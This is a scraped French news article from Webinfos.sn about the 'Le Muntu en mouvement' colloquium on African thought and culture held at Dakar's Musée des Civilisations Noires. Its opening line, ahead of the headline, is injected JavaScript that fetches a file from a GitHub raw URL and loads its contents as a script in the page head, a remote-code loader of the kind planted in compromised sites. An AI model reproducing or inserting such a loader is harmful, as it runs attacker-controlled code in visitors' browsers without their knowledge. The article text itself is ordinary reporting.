;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Le Muntu en mouvement : une Afrique qui se repense, s’écoute et se réinvente à Dakar – Webinfos.sn
Le plaisir de s'informer juste et vrai, en temps réel !

CLIQUEZ SUR L'IMAGE POUR NOUS SOUTENIR

Le Muntu en mouvement : une Afrique qui se repense, s’écoute et se réinvente à Dakar

0 39

Ce mercredi 22 octobre 2025, le Musée des Civilisations Noires de Dakar a ouvert ses portes à une effervescence toute particulière : celle du colloque international Le Muntu en mouvement. Pendant deux jours, artistes, penseurs, activistes et universitaires venus du Sénégal, du Cameroun, du Kenya, du Ghana, du Congo et de la Guinée équatoriale se retrouvent pour explorer les imaginaires africains, les savoirs autochtones et les formes de résistance créatives du continent.

Sous la direction éclairée de Pere Ortín, Saiba Bayo et Moussa Sène Absa, ce grand rendez-vous intellectuel et artistique puise son inspiration dans le concept de
Muntu, ce terme bantu qui signifie « l’humain », revisité par le philosophe camerounais Fabien Eboussi Boulaga comme une manière d’être en relation, en devenir, en dialogue avec soi-même, les autres et le monde.

Quatre grands axes de réflexion guident les échanges. L’art comme outil de transformation de l’espace public. La spiritualité des femmes africaines comme socle de puissance et de mémoire. Les savoirs ancestraux croisés avec les technologies du futur. Et enfin, les chemins d’une paix durable, inclusive, portée par la sécurité des peuples et le développement pensé à partir du local.

Ce colloque n’est pas un simple exercice académique. Il est un espace vivant de parole et d’écoute, de transmission et de projection. María Dolores Ríos Peset, ambassadrice d’Espagne au Sénégal, l’a rappelé avec justesse. La coopération culturelle entre l’Espagne et l’Afrique ne peut être féconde qu’à la condition de créer des espaces d’échange, de reconnaissance mutuelle et surtout d’écoute active. Elle insiste : les Africains doivent être les protagonistes de leur histoire, les porteurs de leur voix. L’Europe, elle, se doit d’apprendre à écouter.

Dans une ambiance fraternelle et engagée, les idées fusent. Les questionnements jaillissent, sincères et puissants. Saiba Bayo parle d’un moment précieux de réappropriation. Qui sommes-nous. Où allons-nous. Comment construire à partir de nos résistances et de notre mémoire. Il souligne la force de l’Afrique, la jeunesse du continent, la vivacité de ses cultures et de ses savoirs longtemps marginalisés, aujourd’hui en train de retrouver toute leur place dans les discours et les pratiques.

Loin des clichés et des postures figées, ce colloque propose un mouvement. Un déplacement des regards. Un tissage de perspectives. La parole circule dans plusieurs langues, grâce à un effort de traduction et d’interprétation qui participe à cette volonté de construire un espace commun. Un lieu où toutes les voix comptent, où la diversité est une richesse, non une fracture.

Moussa Sène Absa, cinéaste et co-organisateur, insiste lui aussi sur l’importance de conjuguer le Muntu et le mouvement. Il ne s’agit pas de s’enfermer dans une authenticité figée ni de se perdre dans une aliénation volontaire. Mais d’exister, tout simplement. En assumant son histoire, en l’interrogeant, en la mettant en relation avec les défis d’aujourd’hui. Il invite à penser l’universel autrement. Non plus comme une norme imposée d’en haut, mais comme une circulation horizontale, un partage d’expériences.

Au cœur des échanges, la jeunesse. Présente dans la salle, dans les interventions, dans les préoccupations des intervenants. Avec plus de 70% de la population africaine âgée de moins de 35 ans, la jeunesse est à la fois un défi et une promesse. C’est elle qui portera demain cette pensée du Muntu. C’est elle qui, nourrie des enseignements de Sembène, de Mudimbe, de Souleymane Bachir Diagne ou encore d’Achille Mbembe, écrira une nouvelle page, à sa manière, sans copier les anciens mais en les honorant par l’action et l’invention.

Il est aussi question d’image, de cinéma, de narration. Car raconter, c’est déjà résister. C’est aussi transmettre. Les récits façonnent l’imaginaire collectif. Ne pas en produire, c’est abandonner le terrain. Ne pas maîtriser ses propres représentations, c’est risquer de voir d’autres parler à notre place. Comme le dit si bien Saiba Bayo, notre maison a des murs. Il ne faut pas la laisser ouverte à tous les vents.

Le Muntu en mouvement, ce n’est donc pas qu’un colloque. C’est une invitation. À se regarder en face. À dialoguer. À créer ensemble. À penser autrement. Et surtout à se projeter, sans complexe, dans un avenir que l’on choisit et que l’on construit collectivement.

Laisser un commentaire

Votre adresse email ne sera pas publiée.